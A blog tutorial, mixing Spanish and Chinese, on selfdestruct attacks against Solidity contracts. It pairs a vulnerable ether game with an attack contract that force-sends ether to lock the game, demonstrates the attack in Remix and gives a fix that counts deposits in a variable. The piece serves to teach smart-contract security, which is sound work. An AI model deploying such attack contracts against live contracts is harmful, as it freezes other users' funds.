Blockchain Contract Security Series (3): Cómo reconocer y prevenir ataques de autodestrucción en contratos de cadenas públicas

id:BSN_2021 Cuenta oficial: Instituto de Investigación BSN Autor: Zhang Xueliang, Red Date Technology

Antecedentes: dado que se comparte toda la información en el entorno de la cadena pública, el contrato inteligente es equivalente a ser completamente transparente, y cualquiera puede llamarlo, más algunos con fines de lucro, lo que ha dado lugar a muchos ataques de piratas informáticos. Entre ellos, el ataque de autodestrucción también es uno de los métodos de ataque comunes.

Objetivo: Paralizar el contrato de destino y hacer que sea imposible hacer negocios normales, a fin de reconocer y prevenir vulnerabilidades de ataques de autodestrucción.

Objeto: aplicable a los contratos inteligentes desarrollados en el lenguaje Solidity, como los contratos inteligentes que se ejecutan en Wuhan Chain (basado en ETH) y Taian Chain (basado en fisco bcos) en BSN.

prefacio

Antes de entrar en materia, déjame llevarte desde los conocimientos básicos hasta cómo atacar y prevenir. Bien, basta de tonterías, primero veamos la explicación oficial de la autodestrucción:

selfdestruct(address payable recipient)

Destroy the current contract, sending its funds to the given Address and end execution

También es muy simple de entender, es decir, cuando se destruye el contrato, se puede transferir ether a la dirección especificada.

Uso común : cuando nuestro contrato tiene una laguna o un cambio comercial, debe destruirse para evitar un mayor impacto. En este punto, se puede proporcionar un método de destrucción en el contrato;

Los ejemplos son los siguientes:

pragma solidity >=0.7.0 <0.9.0;
contract Destructible {
    address payable owner;
    constructor() {
       owner = payable(msg.sender); 
    }
   
     // 销毁合约
    function destroy() public {
        if (msg.sender == owner){
           selfdestruct(owner);
        }
    }
}

Cuando sea necesario destruirlo, el propietario del contrato puede llamar destory()al método para destruir el contrato.

A continuación, entramos oficialmente en el tema, cómo usar la autodestrucción para atacar.

demostración de ataque

1. Ejemplo de contrato

Se necesitan dos contratos para la demostración, uno es un contrato comercial simulado y el otro es un contrato de ataque.

Contrato comercial: un juego simple, cada usuario puede depositar 1 éter en el contrato cada vez, el usuario que espera el séptimo depósito se convertirá en el ganador y puede transferir 7 éter a su cuenta.

Atacar el contrato: se escribe un método de destrucción del contrato, es decir, se enviará ether al contrato especificado cuando se destruya el contrato.

Lógica de ataque: llame al método de ataque del contrato de ataque, de modo que el saldo del contrato comercial anterior supere los 7.

Los ejemplos son los siguientes:

pragma solidity >=0.7.0 <0.9.0;

// 业务合约
contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;
    // 充值ether
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    // 提取ether
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        winner = address(0);
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
    // 查询当前余额
    function balanceOf() public view returns (uint){
        return address(this).balance;
    }
}
// 攻击合约
contract Attack {

    EtherGame etherGame;
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }
    
    // 合约销毁和发送ether
    function attack() public payable {
        // 发送ether到指定的业务合约
        selfdestruct(payable(address(etherGame)));
    }

}

2. Despliegue del contrato

Como de costumbre, usamos remix para las pruebas de implementación.

Después de una implementación exitosa, la captura de pantalla es la siguiente:alt

alt

3. Operaciones comerciales normales

准备两个账户A和B,分别为100ether。 具体操作流程为:A调用5次存放5ether,B调用2次存放2ether,B将成为winner,然后提取7ether。

两个账户合计调用7次后,查询余额以及winner信息,截图如下: alt

B账户提取ether,结果截图如下: alt

alt

上面的图中可以看到,B账户成功的提取了合约里的7 ether。

4. 攻击操作

我们还是用上面的两个账户账户A和B。 具体操作流程为:A调用5次存放5ether,B调用攻击合约的attack方法并发送3ether。

alt

上图可以发现业务合约当前余额为8 ether。

alt

上图可以看到攻击合约的owner变为0x0地址。

到此,业务合约已被攻击,即业务无法正常进行,不能存放以及提取。

下面,我们进行测试depoit和claimReward的方法调用,结果信息截图如下:

alt

解决方案

最后,给大家推荐一个常用的方案:将全局address(this).balance改为变量统计进入deposit逻辑的ether数量。

最终代码如下所示:


pragma solidity >=0.7.0 <0.9.0;

// 业务合约
contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;
    uint public balance;// 记录ether数量
    // 充值ether
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    // 提取ether
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        winner = address(0);
        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
        
    }
    // 查询当前余额
    function balanceOf() public view returns (uint){
        return address(this).balance;
    }
}

今天的讲解到此结束,感谢大家的阅读,如果你有其他的想法或者建议,欢迎一块交流。

本文由 mdnice 多平台发布

Supongo que te gusta

Origin blog.csdn.net/BSN_yanxishe/article/details/125808184
Recomendado
Clasificación